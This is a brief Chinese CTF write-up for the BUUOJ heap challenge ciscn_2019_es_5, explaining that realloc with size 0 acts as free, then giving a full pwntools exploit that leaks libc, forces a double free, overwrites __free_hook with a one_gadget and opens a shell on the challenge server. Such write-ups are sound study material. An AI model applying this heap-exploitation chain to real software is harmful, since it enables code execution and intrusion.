ciscn_2019_es_5
太久没写题目了,今天写一下发现自己越来越菜了
又是一个跟realloc有关的题,一开始注意realloc,后面看了hav1k师傅的博客发现realloc等于free后,立刻恍然大悟了,不然还要看好久,realloc为0时等于free
漏洞利用
- 由于没有初始化可以利用realloc直接leak libc
- 接着利用realloc来达成double free劫持free hook即可
from pwn import * #p=process('./ciscn_2019_es_5') p=remote('node3.buuoj.cn',29806) libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so') text='choice:' def create(size,content): p.recvuntil('choice:') p.sendline('1') p.recvuntil('size?>') p.sendline(str(size)) p.recvuntil('content:') p.sendline(content) def edit(idx): p.recvuntil('choice:') p.sendline('2') p.recvuntil('Index:') p.sendline(str(idx)) def show(idx): p.recvuntil('choice:') p.sendline('3') p.recvuntil('Index:') p.sendline(str(idx)) def free(idx): p.recvuntil('choice:') p.sendline('4') p.recvuntil('Index:') p.sendline(str(idx)) create(0x4f0,p64(0)*3+p64(0x500)+b'\x00')#0 create(0x68,'p')#1 #leak libc free(0) create(0,'')#0 show(0) libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']-0x430 one=0x4f322+libc.address edit(0) free(0) free_hook=libc.symbols['__free_hook'] create(0x18,p64(free_hook)+p64(0)) create(0x18,p64(one)) free(1) print('libc_base==>'+hex(libc.address)) #gdb.attach(p) p.interactive()